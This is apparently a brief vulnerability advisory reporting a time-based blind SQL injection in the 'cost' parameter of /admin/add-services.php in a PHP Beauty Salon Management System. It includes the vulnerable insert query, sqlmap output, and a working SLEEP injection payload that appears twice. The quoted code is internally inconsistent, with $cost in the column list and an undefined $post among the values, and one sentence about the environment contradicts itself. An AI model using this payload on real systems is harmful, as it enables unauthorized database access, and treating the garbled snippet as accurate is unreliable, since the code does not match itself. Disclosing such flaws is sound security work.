

SQL injection vulnerability exists in cost parameter of /admin/add-services.php file of Beauty Salon Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
12 $cost=$_POST['cost'];
13 $description=$_POST['description'];
14
15
16
17 $query=mysqli_query($con, "insert into tblservices(ServiceName,$cost,description) value('$sename','$post', '$description')");
```

```
sqlmap identified the following injection point(s) with a total of 250 HTTP(s) requests:
---
Parameter: cost (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cost=1' AND (SELECT 1139 FROM (SELECT(SLEEP(5)))RYKp) AND 'SQnV'='SQnV&description=1&sename=-1&submit=
```

“

---

Parameter: cost (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: cost=1' AND (SELECT 1139 FROM (SELECT(SLEEP(5)))RYKp) AND 'SQnV'='SQnV&description=1&sename=-1&submit=

---

“

Source Download:

<https://www.campcodes.com/projects/beauty-salon-management-system-in-php-and-mysqli/>